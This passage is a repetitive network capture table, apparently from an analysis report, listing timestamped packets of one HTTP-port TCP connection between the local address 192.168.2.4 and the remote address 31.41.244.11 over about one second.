Dec 12, 2024 14:26:10.886985064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.887077093 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.889030933 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.889211893 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.889584064 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.889739037 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.890892982 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.890958071 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.891002893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.891047955 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.892905951 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.893030882 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.893069983 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.893140078 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.894900084 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.894958019 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.894973040 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.895045042 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.896791935 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.896876097 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.897001982 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.897115946 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.898778915 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.898897886 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.898960114 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.898961067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.900572062 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.900643110 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.900691032 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.900790930 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.902488947 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.902611017 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.902637959 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.902690887 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.904433966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.904525995 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.904563904 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.904628038 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.906313896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.906457901 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.907975912 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.908042908 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.908354044 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.908374071 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.908436060 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.908436060 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.910012960 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.910088062 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.910645962 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.910742044 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.912153006 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.912205935 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.912276030 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.912321091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.913997889 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.914011002 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.914078951 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.914078951 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.915996075 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.916011095 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.916085005 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.916085005 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.918077946 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.918091059 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.918222904 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.919519901 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.919706106 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.919814110 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.919888973 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.921613932 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.921627998 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.921674967 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.923341990 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.923403978 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.923441887 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.923501015 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.925508976 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.925529003 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.925570011 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.925621986 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.927115917 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.927175999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.927798033 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.928045034 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.929061890 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.929142952 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.929174900 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.929223061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.930934906 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.931014061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.931097984 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.931143999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.932838917 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.932895899 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.932943106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.933001041 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.934715986 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.934789896 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.935184956 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.935326099 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.936644077 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.936819077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.937079906 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.937166929 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.938460112 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.938472033 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.938550949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.940392017 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.940454006 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.941014051 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.941071987 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.942436934 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.942564964 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.942609072 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.942692041 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.944195986 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.944261074 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.944340944 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.944469929 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.946072102 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.946129084 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.946171999 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.946218014 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.948117971 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.948131084 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.948183060 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.948183060 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.950047970 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.950061083 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.950114012 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.951762915 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.951778889 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.951833963 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.951833963 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.953640938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.953705072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.953998089 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.954044104 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.955543041 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.955632925 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.955673933 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.955673933 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.957652092 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.957669020 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.957721949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.957829952 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.048477888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.048621893 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.048629045 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.048676014 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.049335957 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.049387932 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.049535036 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.049598932 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.049683094 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.049786091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.050950050 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.050995111 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.051176071 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.051331043 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.052464008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.052531004 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.052548885 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.052613974 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.054038048 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.054126024 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.054435968 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.054491997 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.055774927 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.055886984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.056092024 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.056169987 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.057293892 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.057363033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.057399035 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.057436943 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.058572054 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.058634996 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.058990955 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.059042931 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.059855938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.059881926 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.059919119 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.059932947 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.061028004 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.061202049 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.061248064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.061248064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.062367916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.062416077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.062433958 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.062479019 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.063740015 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.063803911 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.063882113 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.063987970 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.065069914 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.065139055 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.065187931 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.065228939 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.066458941 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.066519022 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.066692114 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.066778898 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.067799091 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.067852974 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.067858934 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.067899942 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.069282055 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.069304943 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.069385052 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.069385052 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.070391893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.070452929 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.070461988 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.070535898 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.071772099 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.071986914 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.072077990 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.072129965 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.073003054 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.073056936 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.073072910 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.073123932 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.074237108 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.074325085 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.074469090 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.074527979 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.075522900 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.075576067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.075673103 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.075979948 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.076845884 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.076931953 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.077078104 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.077138901 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.077989101 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.078087091 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.078103065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.078126907 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.079269886 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.079319954 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.079379082 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.079539061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.080539942 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.080605030 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.080648899 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.080688953 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.081700087 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.081758976 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.081911087 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.081954956 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.082927942 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.082973003 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.082982063 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.083039999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.084203005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.084269047 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.084291935 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.084338903 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.085388899 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.085428953 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.085777998 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.085820913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.086730957 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.086785078 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.086787939 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.086868048 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.087838888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.087892056 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.088344097 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.088404894 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.089051008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.089099884 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.089793921 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.089839935 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.090500116 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.090552092 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.090722084 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.090790987 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.091531038 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.091576099 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.091586113 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.091701984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.092751026 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.092890978 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.092962027 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.093017101 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.094084024 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.094160080 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.094199896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.094258070 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.095407963 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.095460892 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.095855951 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.095943928 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.096550941 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.096618891 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.096628904 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.096790075 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.097676992 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.097729921 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.098064899 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.098189116 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.098912001 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.099013090 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.099546909 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.099621058 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.100136995 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.100159883 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.100197077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.100197077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.101526976 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.101548910 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.101589918 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.101644993 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.102550983 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.102638960 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.102675915 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.102675915 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.103801966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.103926897 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.104254007 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.104402065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.105108023 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.105120897 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.105153084 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.105227947 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.106422901 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.106515884 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.106594086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.106663942 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.107518911 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.107613087 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.107745886 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.107790947 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.108783007 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.108841896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.108866930 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.108935118 CET	49758	80	192.168.2.4	31.41.244.11
